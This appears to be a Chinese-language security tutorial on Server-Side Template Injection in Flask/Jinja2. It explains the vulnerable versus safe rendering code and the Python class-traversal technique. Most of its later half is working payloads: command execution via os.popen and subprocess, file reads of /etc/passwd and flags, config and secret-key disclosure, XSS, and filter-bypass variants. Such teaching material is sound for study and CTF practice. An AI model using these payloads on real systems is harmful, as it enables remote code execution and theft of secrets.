什么是SSTI?
SSTI(Server Side Template Injection,服務器端模板注入),而模板指的就是Web開發中所使用的模板引擎。模板引擎可以將用戶界面和業務數據分離,邏輯代碼和業務代碼也可以因此分離,代碼復用變得簡單,開發效率也隨之提高。
服務器端使用模板,通過模板引擎對數據進行渲染,再傳遞給用戶,就可以針對特定用戶/特定參數生成相應的頁面。我們可以類比百度搜索,搜索不同詞條得到的結果頁面是不同的,但頁面的框架是基本不變的。
Flask初識
Flask快速使用
# 安裝虛擬環境
pip install virtualenv
# 生成虛擬環境
virtualenv venv
# 激活環境
./venv/Scripts/activate.bat
# 安裝Flask
pip install flask
# 官方提供的測試代碼,保存為test.py
from flask import Flask
# 使用模塊名作為應用名
app = Flask(__name__)
# 路由:即web訪問路徑
@app.route('/')
def hello_world():
return 'Hello World!'
if __name__ == '__main__':
# 啟動Flask應用
app.run()
在venv下創建code目錄用來存放代碼,運行test.py,然后進入http://127.0.0.1:5000/,可以看到網頁上顯示了Hello World!,代表app啟動成功。
Flask中的Jinja2
在Python中,該漏洞常見於Flask(一個輕量級Web應用框架)模塊中,Flask使用Jinja2作為模板引擎,Jinja2支持以下語法進行數據渲染:
-
{{}}:將花括號內的內容作為表達式執行並返回對應結果。
# 會被解析為12 {{3*4}}
-
{%%}:用於聲明變量或條件/循環語句
# 使用set聲明變量 {% set s = 'Tuzk1' %} # 條件語句 {% if var is true %}Tuzk1{%endif%} # 循環語句 {% for i in range(3) %}Tuzk1{%endfor%}
-
{##}:注釋
-
詳細用法可以查看官方文檔:http://docs.jinkan.org/docs/jinja2/templates.html
Flask渲染
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def hello():
return 'Hello World'
# 配置路由為/test
@app.route('/test')
def test():
param = '斯巴拉西'
# 指定渲染頁面,這里會自動在同級目錄中的templates尋找指定文件,即等價於render_template('./templates/hello.html', param=param),該函數用於渲染一個頁面
# render_template_string函數則是用於渲染一個字符串,如'<h1>%s</h1>' % 'Hello World'
return render_template('hello.html', param=param)
if __name__ == '__main__':
app.run()
<!-- hello.html -->
<html>
<h1>Hello World!</h1>
<h2>{{param}}</h2>
</html>
運行,訪問http://127.0.0.1:5000/test:
漏洞原理
有了以上關於Flask的基礎知識,我們就可以來看看漏洞是如何產生的了。由於對用戶輸入過濾不嚴,攻擊者可以通過構造惡意數據,使服務器模板引擎渲染這部分數據,從而達到讀取文件、RCE等目的。
下面,我們來看一下分析一下存在SSTI漏洞的代碼和不存在漏洞的代碼,對比學習,體會一下這個漏洞的原理。
-
存在SSTI漏洞的代碼
from flask import Flask, request, render_template_string from jinja2 import Template app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', default='guest') t = ''' <html> <h1>Hello %s</h1> </html> ''' % (name) # 將一段字符串作為模板進行渲染 return render_template_string(t) """這樣的代碼同樣存在漏洞 def index(): name = request.args.get('name', default='guest') t = Template( ''' <html> <h1>Hello %s</h1> </html> ''' % name ) # 對模板對象進行渲染 return t.render() """ app.run()
使用{{10-1}}作為參數id傳入,可以看到表達式被成功執行,這就是SSTI漏洞出現的特征。
-
不存在漏洞的代碼
from flask import Flask, request, render_template app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', default='guest') # return render_template('index.html', name=name) app.run()
通過觀察以上代碼,我們可以發現漏洞出現的原因:服務器端將用戶可控的輸入直接拼接到模板中進行渲染,導致漏洞出現。反之,要解決該漏洞,則只需先將模板渲染,再拼接字符串。
深入到Flask渲染函數原理來講,render和render_template_string由用戶拼接,字符串不會自動轉義,而render_template會對字符串計進行自動轉義,因此避免了參數被作為表達式執行。
漏洞利用
利用思路
這里以通過SSTI進行RCE為例,基本的利用思路為:
- 隨便找個倒霉的內置類:[]、""
- 通過這個類獲取到object類:__base__、__bases__、__mro__
- 通過object類獲取所有子類:__subclasses__()
- 在子類列表中找到可以利用的類
- 直接調用類下面函數或使用該類空間下可用的其他模塊的函數
魔術方法
為此,我們需要用到以下魔術方法:
魔術方法 | 作用 |
---|---|
__init__ | 對象的初始化方法 |
__class__ | 返回對象所屬的類 |
__module__ | 返回類所在的模塊 |
__mro__ | 返回類的調用順序,可以此找到其父類(用於找父類) |
__base__ | 獲取類的直接父類(用於找父類) |
__bases__ | 獲取父類的元組,按它們出現的先后排序(用於找父類) |
__dict__ | 返回當前類的函數、屬性、全局變量等 |
__subclasses__ | 返回所有仍處於活動狀態的引用的列表,列表按定義順序排列(用於找子類) |
__globals__ | 獲取函數所屬空間下可使用的模塊、方法及變量(用於訪問全局變量) |
__import__ | 用於導入模塊,經常用於導入os模塊 |
__builtins__ | 返回Python中的內置函數,如eval |
尋找可利用類
# 獲取對象所屬的類
''.__class__
<class 'str'>
().__class__
<class 'tuple'>
[].__class__
<class 'list'>
"".__class__
<class 'str'>
# 獲取父類
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
# 獲取子類
''.__class__.__base__.__subclasses__()
''.__class__.__bases__[0].__subclasses__()
''.__class__.__mro__[-1].__subclasses__()
寫個腳本跑一下,看看哪個類可以用,我這里是138和479可以用。
import re
# 將查找到的父類列表替換到data中
data = r'''
[<class 'type'>, <class 'weakref'>, ......]
'''
# 在這里添加可以利用的類,下面會介紹這些類的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']
pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)
構造payload
於是構造payload,可以獲取配置文件、XSS、進行RCE(反彈shell也行)或者文件讀寫:
-
獲取配置信息
# 獲取配置信息 {{config}} # 能獲取到config,它包含了如數據庫鏈接字符串、連接到第三方的憑證、SECRET_KEY等敏感信息 {{request.environ}} # 服務器環境信息
-
XSS
# XSS(本文主要講SSTI的RCE姿勢,XSS過濾不展開講) name=<script>alert(/YouAreHacked/)</script>
-
RCE
# 利用warnings.catch_warnings配合__builtins__得到eval函數,直接梭哈(常用) {{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()}} # 利用os._wrap_close類所屬空間下可用的popen函數進行RCE的payload {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}} {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} # 利用subprocess.Popen類進行RCE的payload {{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}} # 利用__import__導入os模塊進行利用 {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} # 利用linecache類所屬空間下可用的os模塊進行RCE的payload,假設linecache為第250個子類 {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}} {{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}} # 利用file類(python3將file類刪除了,因此只有python2可用)進行文件讀 {{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}} {{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}} # 利用file類進行文件寫(python2的str類型不直接從屬於屬於基類,所以要兩次 .__bases__) {{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}} # 通用getshell,都是通過__builtins__調用eval進行代碼執行 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} # 讀寫文件,通過__builtins__調用open進行文件讀寫 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
常見繞過
過濾單雙引號
-
通過request傳參繞過(過濾命令時可用,當然,一般是不會起這么囂張的參數名的[doge])
# request.values {{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.values.rce).read()}}&rce=cat /flag # request.cookies {{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.cookies.rce).read()}} Cookie: rce=cat /flag; # 還有request.headers、request.args,這里不作演示
-
獲取chr函數,賦值給chr,拼接字符串
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} # %2b是+的url轉義 {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
過濾中括號
# 原payload,可以使用__base__繞過__bases__[0]
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
# 通過__getitem__()繞過__bases__[0]、通過pop(128)繞過__subclasses__()[128]
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()
# 原payload
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
# 繞過
[].__class__.__base__.__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
過濾雙下划線
# request妙用,繞過
{{''[request.args.a][request.args.b][2][request.args.c]()}}&a=__class__&b=__mro__&c=__subclasses__
# request傳參繞過
# request.args
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
# request.cookies
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}
Cookie: class=__class__; mro=__mro__; subclasses=__subclasses__;
# 還有request.headers、request.args
過濾關鍵字
-
拼接字符串
'o'+'s' 'sy' + 'stem' 'fl' + 'ag'
-
編碼:Base64、rot13、16進制......
-
大小寫繞過
-
過濾config
# 繞過,同樣可以獲取到config {{self.dict._TemplateReference__context.config}}
過濾雙花括號
-
{% + print繞過
{%print(''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read())%}
通用getshell
-
過濾引號、中括號
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %} {% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}
-
過濾引號、中括號、下划線
# 使用getlist,獲取request的__class__ {{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ # 拆解一下,等價於下列payload {{request|attr('__class__')}} {{request['__class__']}} {{request.__class__}} # 獲取__object__ {{request|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_ # 通過flask類獲取會更快 {{flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_
-
過濾引號、中括號、下划線、花括號(綜合大應用),可能會有一點點復雜:)
# 打印子類並找到可以利用的類 {%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)())%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_ # 然后稍微加一點難度 # 目錄-尋找可利用類 中用到的腳本跑一下,得到os._wrap_close的序號為138(這里用這個類來演示),於是: {%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)()|attr(request.args.getlist(request.args.l4)|join)(138)|attr(request.args.getlist(request.args.l5)|join)|attr(request.args.getlist(request.args.l6)|join)).popen(request.args.rce).read()%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_&l4=d&d=_&d=_&d=getitem&d=_&d=_&l5=e&e=_&e=_&e=init&e=_&e=_&l6=f&f=_&f=_&f=globals&f=_&f=_&rce=whoami # 等價於 {{''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read()}}
結語
寫到后面,我認為后面繞過這部分應該多出現於比賽當中,在實際環境中沒什么用,因此沒必要花太多時間研究。
這篇文章花了三天才寫完,中途參考了很多師傅的文章(測試payload頁測試到手麻了qwq),非常感謝這些師傅。
參考文章
SSTI模板注入漏洞——https://blog.csdn.net/CaiNiaoLW/article/details/110213962
淺談SSTI——https://www.freebuf.com/articles/web/290756.html
SSTI模板注入(Python+Jinja2)——https://xz.aliyun.com/t/7746
vulhub——https://vulhub.org/#/environments/flask/ssti/
SSTI詳解 一文了解SSTI和所有常見payload 以flask模板為例——https://blog.csdn.net/weixin_44604541/article/details/109048578